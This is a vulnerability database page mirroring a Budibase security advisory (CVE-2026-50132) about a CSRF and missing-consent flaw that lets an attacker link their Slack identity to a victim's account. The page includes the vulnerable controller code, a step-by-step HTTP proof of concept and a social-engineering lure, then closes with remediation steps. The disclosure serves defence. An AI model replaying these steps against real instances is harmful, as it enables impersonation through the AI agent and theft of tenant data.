Find a vulnerability

Search criteria

Vendor

Product

Assigner

Sources

Sort by

Order

Apply ordering (override relevance)

Related vulnerabilities

GHSA-V7J5-VC4M-723W

Vulnerability from github – Published: 2026-06-22 23:08 – Updated: 2026-06-22 23:08

Summary

Budibase has an Account Impersonation Issue — Chat Identity Link Hijacking via Missing Consent & CSRF

Details

Title

Chat Identity Link Hijacking — Attacker Can Silently Map Their Slack/Discord Identity to Any Authenticated Budibase User's Account

Severity

High — CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N = 7.3

Affected Product

Product: Budibase
Version: 3.37.2 (introduced in this version)
Component: packages/server/src/api/controllers/ai/chatIdentityLinks.ts
Endpoint: GET /api/chat-links/:instance/:token/handoff

Vulnerability Type

CWE-352: Cross-Site Request Forgery
CWE-284: Improper Access Control

Vulnerability Description

GET /api/chat-links/:instance/:token/handoff is a public endpoint (no auth required) that performs a permanent, state-changing operation: it binds an external chat identity (Slack/Discord/MS Teams) to an authenticated Budibase user account, with no consent UI and no CSRF protection.

The session token in the URL is created by the attacker (from their own /link slash command) and embeds the attacker's externalUserId. When an authenticated Budibase victim visits the URL, their account is silently and permanently linked to the attacker's Slack/Discord identity. The server responds with "Authentication succeeded." — no indication of what was linked.

Route Registration

// packages/server/src/api/routes/chat.ts:22
router.get(
  "/api/chat-links/:instance/:token/handoff",
  controller.handoffChatLinkSession   // registered in publicRoutes — zero auth middleware
)

Vulnerable Controller (full function)

// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110
export async function handoffChatLinkSession(
  ctx: UserCtx<void, string, { instance: string; token: string }>
) {
  const token = resolveToken(ctx.params.token)
  const session = await sdk.ai.chatIdentityLinks.getChatIdentityLinkSession(token)
  if (!session) {
    throw new HTTPError("Link token is invalid or has expired", 400)
  }
  assertSessionMatchesInstance({ workspaceId: session.workspaceId, instance: ctx.params.instance })

  if (!ctx.isAuthenticated) {
    // Unauthenticated: set return URL cookie, redirect to login
    // After login, same URL is visited again → attack completes silently
    utils.setCookie(ctx,
      `/api/chat-links/${ctx.params.instance}/${token}/handoff`,
      "budibase:returnurl",
      { sign: false }  // ← unsigned cookie, but not an open redirect
    )
    ctx.redirect("/builder/auth/login")
    return
  }

  const currentGlobalUserId = getCurrentGlobalUserId(ctx)
  const consumedSession = await sdk.ai.chatIdentityLinks.consumeChatIdentityLinkSession(token)

  // ↓↓↓ THE VULNERABLE WRITE — no consent check, no CSRF token ↓↓↓
  await sdk.ai.chatIdentityLinks.upsertChatIdentityLink({
    provider: consumedSession.provider,
    externalUserId: consumedSession.externalUserId,  // ← ATTACKER's Slack ID
    externalUserName: consumedSession.externalUserName,
    teamId: consumedSession.teamId,
    globalUserId: currentGlobalUserId,   // ← VICTIM's Budibase user ID
    linkedBy: currentGlobalUserId,
  })

  ctx.type = "text/html"
  ctx.body = renderLinkSuccessPage()  // ← "Authentication succeeded." — no disclosure to user
}

Proof of Concept — Annotated HTTP Trace

Setup

Role	Identity
Attacker	Slack user `U_ATTACKER` (e.g. `UA12345678`), Budibase tenant `acme`, workspace ID `ws_abc123`
Victim	Budibase admin, session cookie `budibase:session=VICTIM_SESSION`

Step 1 — Attacker triggers `/link` in Slack

Attacker types /link to the Budibase Slack bot. Budibase server creates a Redis session:

Redis key: chatIdentityLinkSession:tok_xxxxxxxxxxxxxxxx

Redis value (exact structure from ChatIdentityLinkSession interface):

{
  "token": "tok_xxxxxxxxxxxxxxxx",
  "tenantId": "acme",
  "workspaceId": "ws_abc123",
  "provider": "slack",
  "externalUserId": "UA12345678",
  "externalUserName": "attacker",
  "teamId": "T_ACME_SLACK",
  "createdAt": "2026-05-02T10:00:00.000Z",
  "expiresAt": "2026-05-02T10:10:00.000Z"
}

Slack DM sent privately to attacker:

Link your Slack account to continue chatting with this agent.
https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff

Key observation: This URL embeds the attacker's own externalUserId inside the token. The attacker has full control over which identity gets linked.

Step 2 — Attacker forwards URL to victim

Attacker posts in the company Slack:

@admin please click this to connect your Budibase account for AI agent access:
https://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff

Step 3 — Victim clicks link (authenticated)

HTTP Request (victim's browser):

GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1
Host: budibase.company.com
Cookie: budibase:session=VICTIM_SESSION

HTTP Response:

HTTP/1.1 200 OK
Content-Type: text/html

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Authentication succeeded</title>
  </head>
  <body>
    <p>Authentication succeeded.</p>
    <script>
      if (window.opener && !window.opener.closed) {
        try { window.opener.focus(); window.close() } catch (error) {}
      }
    </script>
  </body>
</html>

The victim sees "Authentication succeeded." with no mention of Slack, no mention of attacker, no mention of what capabilities were granted.

CouchDB global-db document written immediately after (exact structure from upsertChatIdentityLink):

{
  "_id": "chatidentitylink_acme_slack_T_ACME_SLACK_UA12345678",
  "tenantId": "acme",
  "provider": "slack",
  "externalUserId": "UA12345678",
  "globalUserId": "ro_global_us_VICTIM_ADMIN_ID",
  "linkedAt": "2026-05-02T10:00:42.000Z",
  "linkedBy": "ro_global_us_VICTIM_ADMIN_ID",
  "externalUserName": "attacker",
  "teamId": "T_ACME_SLACK",
  "createdAt": "2026-05-02T10:00:42.000Z",
  "updatedAt": "2026-05-02T10:00:42.000Z"
}

The mapping is now permanent. externalUserId = UA12345678 (attacker) → globalUserId = ro_global_us_VICTIM_ADMIN_ID (victim).

Step 4 — Attacker impersonates victim via AI agent

Attacker sends any message to the Budibase Slack bot from their own account (UA12345678).

The chat handler resolves the identity:

// packages/server/src/api/controllers/webhook/chatHandler.ts:421
const existingLink = await sdk.ai.chatIdentityLinks.getChatIdentityLink({
  provider: AgentChannelProvider.SLACK,
  externalUserId: "UA12345678",     // ← attacker's Slack ID
  teamId: "T_ACME_SLACK",
})
// existingLink.globalUserId = "ro_global_us_VICTIM_ADMIN_ID"

const linkedUser = await getGlobalUser("ro_global_us_VICTIM_ADMIN_ID")
// All agent tool calls now execute with victim admin's permissions

The attacker can now ask the agent:

"Show me all rows in the Customers table" "Trigger the 'Send Invoice' automation for customer ID 42" "What files are in the knowledge base?"

Each request runs with the victim admin's identity and permissions. The victim has no indication this is happening.

Step 3b — Variant: Victim Not Yet Authenticated

If the victim is not currently logged in when they click the URL:

HTTP Request:

GET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1
Host: budibase.company.com

HTTP Response:

HTTP/1.1 302 Found
Location: /builder/auth/login
Set-Cookie: budibase:returnurl=%2Fapi%2Fchat-links%2Fws_abc123%2Ftok_xxxxxxxxxxxxxxxx%2Fhandoff; Path=/

After the victim logs in, the browser follows the return URL and the attack completes identically to Step 3.

Impact

Dimension	Detail
Confidentiality	High — attacker reads all table rows, files, and knowledge base data accessible to victim
Integrity	High — attacker writes rows and triggers automations (email, external API calls, record creation) as victim
Availability	None
Auth required	Low — attacker only needs a Slack/Discord account in the same workspace as the Budibase bot
User interaction	Required — victim clicks one link (trivial social engineering in any enterprise Slack)
Scope	Unchanged — impact is within the victim's Budibase tenant
Persistence	Permanent — the link document persists in CouchDB until explicitly deleted; re-exploitation survives token rotation

Why Severity Is High (Not Medium)

The social engineering bar is near zero in enterprise Slack: - The link looks like a legitimate Budibase URL on the company domain - The message pattern ("link your account for AI agent access") matches the product's own UX - A victim who clicks and sees "Authentication succeeded." has no reason to be suspicious - The effect is permanent and silent — the victim never learns their account was linked

Combined with admin-level access to all application data and automation triggers, this meets the bar for High.

Remediation

Minimum Fix — Add Consent Page

Convert the handoff to a two-step flow:

GET  /api/chat-links/:instance/:token/handoff
  → Show consent page: "You are linking your Budibase account to
    [externalUserName]'s Slack identity ([provider]).
    This allows them to interact with AI agents as you. [Confirm] [Cancel]"

POST /api/chat-links/:instance/:token/handoff  (with CSRF token)
  → Perform the upsertChatIdentityLink() write

Moving the write to POST removes it from publicRoutes, making Budibase's existing CSRF middleware apply automatically.

Additional Hardening

Show the externalUserName and provider on the consent page
Log the event to the audit trail (both identities, timestamp, IP)
Optionally restrict linking to users with explicit permission (not all roles)

Credits, Vishal Kumar B https://github.com/VishaaLlKumaaRr

References

packages/server/src/api/routes/chat.ts:22 — public route registration
packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61–110 — full vulnerable controller
packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:135–165 — session creation (embeds attacker's externalUserId)
packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:202–247 — upsertChatIdentityLink (permanent write)
packages/server/src/api/controllers/webhook/chatHandler.ts:421 — identity resolution during agent message handling
packages/server/src/ai/tools/budibase/automations.ts — automation trigger capability
packages/server/src/ai/tools/budibase/rows.ts — row read/write capability
packages/types/src/sdk/chatIdentityLinks.ts — session + link type definitions
CWE-352: Cross-Site Request Forgery
CWE-284: Improper Access Control

Severity

7.3 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.39.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50132"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T23:08:23Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Title\n\n**Chat Identity Link Hijacking \u2014 Attacker Can Silently Map Their Slack/Discord Identity to Any Authenticated Budibase User\u0027s Account**\n\n## Severity\n\n**High** \u2014 CVSS 3.1: AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N = **7.3**\n\n## Affected Product\n\n- **Product:** Budibase\n- **Version:** 3.37.2 (introduced in this version)\n- **Component:** `packages/server/src/api/controllers/ai/chatIdentityLinks.ts`\n- **Endpoint:** `GET /api/chat-links/:instance/:token/handoff`\n\n\n## Vulnerability Type\n\n- CWE-352: Cross-Site Request Forgery\n- CWE-284: Improper Access Control\n\n---\n\n## Vulnerability Description\n\n`GET /api/chat-links/:instance/:token/handoff` is a **public endpoint** (no auth required) that performs a permanent, state-changing operation: it binds an external chat identity (Slack/Discord/MS Teams) to an authenticated Budibase user account, with **no consent UI and no CSRF protection**.\n\nThe session token in the URL is created **by the attacker** (from their own `/link` slash command) and embeds **the attacker\u0027s `externalUserId`**. When an authenticated Budibase victim visits the URL, their account is silently and permanently linked to the attacker\u0027s Slack/Discord identity. The server responds with `\"Authentication succeeded.\"` \u2014 no indication of what was linked.\n\n### Route Registration\n\n```typescript\n// packages/server/src/api/routes/chat.ts:22\nrouter.get(\n  \"/api/chat-links/:instance/:token/handoff\",\n  controller.handoffChatLinkSession   // registered in publicRoutes \u2014 zero auth middleware\n)\n```\n\n### Vulnerable Controller (full function)\n\n```typescript\n// packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61\u2013110\nexport async function handoffChatLinkSession(\n  ctx: UserCtx\u003cvoid, string, { instance: string; token: string }\u003e\n) {\n  const token = resolveToken(ctx.params.token)\n  const session = await sdk.ai.chatIdentityLinks.getChatIdentityLinkSession(token)\n  if (!session) {\n    throw new HTTPError(\"Link token is invalid or has expired\", 400)\n  }\n  assertSessionMatchesInstance({ workspaceId: session.workspaceId, instance: ctx.params.instance })\n\n  if (!ctx.isAuthenticated) {\n    // Unauthenticated: set return URL cookie, redirect to login\n    // After login, same URL is visited again \u2192 attack completes silently\n    utils.setCookie(ctx,\n      `/api/chat-links/${ctx.params.instance}/${token}/handoff`,\n      \"budibase:returnurl\",\n      { sign: false }  // \u2190 unsigned cookie, but not an open redirect\n    )\n    ctx.redirect(\"/builder/auth/login\")\n    return\n  }\n\n  const currentGlobalUserId = getCurrentGlobalUserId(ctx)\n  const consumedSession = await sdk.ai.chatIdentityLinks.consumeChatIdentityLinkSession(token)\n\n  // \u2193\u2193\u2193 THE VULNERABLE WRITE \u2014 no consent check, no CSRF token \u2193\u2193\u2193\n  await sdk.ai.chatIdentityLinks.upsertChatIdentityLink({\n    provider: consumedSession.provider,\n    externalUserId: consumedSession.externalUserId,  // \u2190 ATTACKER\u0027s Slack ID\n    externalUserName: consumedSession.externalUserName,\n    teamId: consumedSession.teamId,\n    globalUserId: currentGlobalUserId,   // \u2190 VICTIM\u0027s Budibase user ID\n    linkedBy: currentGlobalUserId,\n  })\n\n  ctx.type = \"text/html\"\n  ctx.body = renderLinkSuccessPage()  // \u2190 \"Authentication succeeded.\" \u2014 no disclosure to user\n}\n```\n\n---\n\n## Proof of Concept \u2014 Annotated HTTP Trace\n\n### Setup\n\n| Role | Identity |\n|---|---|\n| Attacker | Slack user `U_ATTACKER` (e.g. `UA12345678`), Budibase tenant `acme`, workspace ID `ws_abc123` |\n| Victim | Budibase admin, session cookie `budibase:session=VICTIM_SESSION` |\n\n---\n\n### Step 1 \u2014 Attacker triggers `/link` in Slack\n\nAttacker types `/link` to the Budibase Slack bot. Budibase server creates a Redis session:\n\n**Redis key:** `chatIdentityLinkSession:tok_xxxxxxxxxxxxxxxx`\n\n**Redis value (exact structure from `ChatIdentityLinkSession` interface):**\n```json\n{\n  \"token\": \"tok_xxxxxxxxxxxxxxxx\",\n  \"tenantId\": \"acme\",\n  \"workspaceId\": \"ws_abc123\",\n  \"provider\": \"slack\",\n  \"externalUserId\": \"UA12345678\",\n  \"externalUserName\": \"attacker\",\n  \"teamId\": \"T_ACME_SLACK\",\n  \"createdAt\": \"2026-05-02T10:00:00.000Z\",\n  \"expiresAt\": \"2026-05-02T10:10:00.000Z\"\n}\n```\n\nSlack DM sent privately to attacker:\n```\nLink your Slack account to continue chatting with this agent.\nhttps://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff\n```\n\n**Key observation:** This URL embeds the attacker\u0027s own `externalUserId` inside the token. The attacker has full control over which identity gets linked.\n\n---\n\n### Step 2 \u2014 Attacker forwards URL to victim\n\nAttacker posts in the company Slack:\n```\n@admin please click this to connect your Budibase account for AI agent access:\nhttps://budibase.company.com/api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff\n```\n\n---\n\n### Step 3 \u2014 Victim clicks link (authenticated)\n\n**HTTP Request (victim\u0027s browser):**\n```http\nGET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1\nHost: budibase.company.com\nCookie: budibase:session=VICTIM_SESSION\n```\n\n**HTTP Response:**\n```http\nHTTP/1.1 200 OK\nContent-Type: text/html\n\n\u003c!doctype html\u003e\n\u003chtml lang=\"en\"\u003e\n  \u003chead\u003e\n    \u003cmeta charset=\"utf-8\"\u003e\n    \u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1\"\u003e\n    \u003ctitle\u003eAuthentication succeeded\u003c/title\u003e\n  \u003c/head\u003e\n  \u003cbody\u003e\n    \u003cp\u003eAuthentication succeeded.\u003c/p\u003e\n    \u003cscript\u003e\n      if (window.opener \u0026\u0026 !window.opener.closed) {\n        try { window.opener.focus(); window.close() } catch (error) {}\n      }\n    \u003c/script\u003e\n  \u003c/body\u003e\n\u003c/html\u003e\n```\n\nThe victim sees \"Authentication succeeded.\" with no mention of Slack, no mention of `attacker`, no mention of what capabilities were granted.\n\n**CouchDB global-db document written immediately after (exact structure from `upsertChatIdentityLink`):**\n\n```json\n{\n  \"_id\": \"chatidentitylink_acme_slack_T_ACME_SLACK_UA12345678\",\n  \"tenantId\": \"acme\",\n  \"provider\": \"slack\",\n  \"externalUserId\": \"UA12345678\",\n  \"globalUserId\": \"ro_global_us_VICTIM_ADMIN_ID\",\n  \"linkedAt\": \"2026-05-02T10:00:42.000Z\",\n  \"linkedBy\": \"ro_global_us_VICTIM_ADMIN_ID\",\n  \"externalUserName\": \"attacker\",\n  \"teamId\": \"T_ACME_SLACK\",\n  \"createdAt\": \"2026-05-02T10:00:42.000Z\",\n  \"updatedAt\": \"2026-05-02T10:00:42.000Z\"\n}\n```\n\nThe mapping is now permanent. `externalUserId = UA12345678` (attacker) \u2192 `globalUserId = ro_global_us_VICTIM_ADMIN_ID` (victim).\n\n---\n\n### Step 4 \u2014 Attacker impersonates victim via AI agent\n\nAttacker sends any message to the Budibase Slack bot from their own account (`UA12345678`).\n\nThe chat handler resolves the identity:\n\n```typescript\n// packages/server/src/api/controllers/webhook/chatHandler.ts:421\nconst existingLink = await sdk.ai.chatIdentityLinks.getChatIdentityLink({\n  provider: AgentChannelProvider.SLACK,\n  externalUserId: \"UA12345678\",     // \u2190 attacker\u0027s Slack ID\n  teamId: \"T_ACME_SLACK\",\n})\n// existingLink.globalUserId = \"ro_global_us_VICTIM_ADMIN_ID\"\n\nconst linkedUser = await getGlobalUser(\"ro_global_us_VICTIM_ADMIN_ID\")\n// All agent tool calls now execute with victim admin\u0027s permissions\n```\n\nThe attacker can now ask the agent:\n\n\u003e \"Show me all rows in the Customers table\"\n\u003e \"Trigger the \u0027Send Invoice\u0027 automation for customer ID 42\"\n\u003e \"What files are in the knowledge base?\"\n\nEach request runs with the victim admin\u0027s identity and permissions. The victim has no indication this is happening.\n\n---\n\n### Step 3b \u2014 Variant: Victim Not Yet Authenticated\n\nIf the victim is not currently logged in when they click the URL:\n\n**HTTP Request:**\n```http\nGET /api/chat-links/ws_abc123/tok_xxxxxxxxxxxxxxxx/handoff HTTP/1.1\nHost: budibase.company.com\n```\n\n**HTTP Response:**\n```http\nHTTP/1.1 302 Found\nLocation: /builder/auth/login\nSet-Cookie: budibase:returnurl=%2Fapi%2Fchat-links%2Fws_abc123%2Ftok_xxxxxxxxxxxxxxxx%2Fhandoff; Path=/\n```\n\nAfter the victim logs in, the browser follows the return URL and the attack completes identically to Step 3.\n\n---\n\n## Impact\n\n| Dimension | Detail |\n|---|---|\n| Confidentiality | **High** \u2014 attacker reads all table rows, files, and knowledge base data accessible to victim |\n| Integrity | **High** \u2014 attacker writes rows and triggers automations (email, external API calls, record creation) as victim |\n| Availability | None |\n| Auth required | **Low** \u2014 attacker only needs a Slack/Discord account in the same workspace as the Budibase bot |\n| User interaction | **Required** \u2014 victim clicks one link (trivial social engineering in any enterprise Slack) |\n| Scope | Unchanged \u2014 impact is within the victim\u0027s Budibase tenant |\n| Persistence | **Permanent** \u2014 the link document persists in CouchDB until explicitly deleted; re-exploitation survives token rotation |\n\n---\n\n## Why Severity Is High (Not Medium)\n\nThe social engineering bar is near zero in enterprise Slack:\n- The link looks like a legitimate Budibase URL on the company domain\n- The message pattern (\"link your account for AI agent access\") matches the product\u0027s own UX\n- A victim who clicks and sees \"Authentication succeeded.\" has no reason to be suspicious\n- The effect is **permanent and silent** \u2014 the victim never learns their account was linked\n\nCombined with admin-level access to all application data and automation triggers, this meets the bar for High.\n\n---\n\n## Remediation\n\n### Minimum Fix \u2014 Add Consent Page\n\nConvert the handoff to a two-step flow:\n\n```\nGET  /api/chat-links/:instance/:token/handoff\n  \u2192 Show consent page: \"You are linking your Budibase account to\n    [externalUserName]\u0027s Slack identity ([provider]).\n    This allows them to interact with AI agents as you. [Confirm] [Cancel]\"\n\nPOST /api/chat-links/:instance/:token/handoff  (with CSRF token)\n  \u2192 Perform the upsertChatIdentityLink() write\n```\n\nMoving the write to `POST` removes it from `publicRoutes`, making Budibase\u0027s existing CSRF middleware apply automatically.\n\n### Additional Hardening\n\n- Show the `externalUserName` and provider on the consent page\n- Log the event to the audit trail (both identities, timestamp, IP)\n- Optionally restrict linking to users with explicit permission (not all roles)\n\n---\nCredits,\nVishal Kumar B\nhttps://github.com/VishaaLlKumaaRr\n\n## References\n\n- `packages/server/src/api/routes/chat.ts:22` \u2014 public route registration\n- `packages/server/src/api/controllers/ai/chatIdentityLinks.ts:61\u2013110` \u2014 full vulnerable controller\n- `packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:135\u2013165` \u2014 session creation (embeds attacker\u0027s externalUserId)\n- `packages/server/src/sdk/workspace/ai/chatIdentityLinks.ts:202\u2013247` \u2014 upsertChatIdentityLink (permanent write)\n- `packages/server/src/api/controllers/webhook/chatHandler.ts:421` \u2014 identity resolution during agent message handling\n- `packages/server/src/ai/tools/budibase/automations.ts` \u2014 automation trigger capability\n- `packages/server/src/ai/tools/budibase/rows.ts` \u2014 row read/write capability\n- `packages/types/src/sdk/chatIdentityLinks.ts` \u2014 session + link type definitions\n- CWE-352: Cross-Site Request Forgery\n- CWE-284: Improper Access Control",
  "id": "GHSA-v7j5-vc4m-723w",
  "modified": "2026-06-22T23:08:23Z",
  "published": "2026-06-22T23:08:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-v7j5-vc4m-723w"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/pull/18793"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/cf66fb45d27402bace312d85616ddd4257f3a5aa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase has an Account Impersonation Issue \u2014 Chat Identity Link Hijacking via Missing Consent \u0026 CSRF"
}

Find a vulnerability

Search criteria

Related vulnerabilities

GHSA-V7J5-VC4M-723W

Title

Severity

Affected Product

Vulnerability Type

Vulnerability Description

Route Registration

Vulnerable Controller (full function)

Proof of Concept — Annotated HTTP Trace

Setup

Step 1 — Attacker triggers /link in Slack

Step 2 — Attacker forwards URL to victim

Step 3 — Victim clicks link (authenticated)

Step 4 — Attacker impersonates victim via AI agent

Step 3b — Variant: Victim Not Yet Authenticated

Impact

Why Severity Is High (Not Medium)

Remediation

Minimum Fix — Add Consent Page

Additional Hardening

References

Step 1 — Attacker triggers `/link` in Slack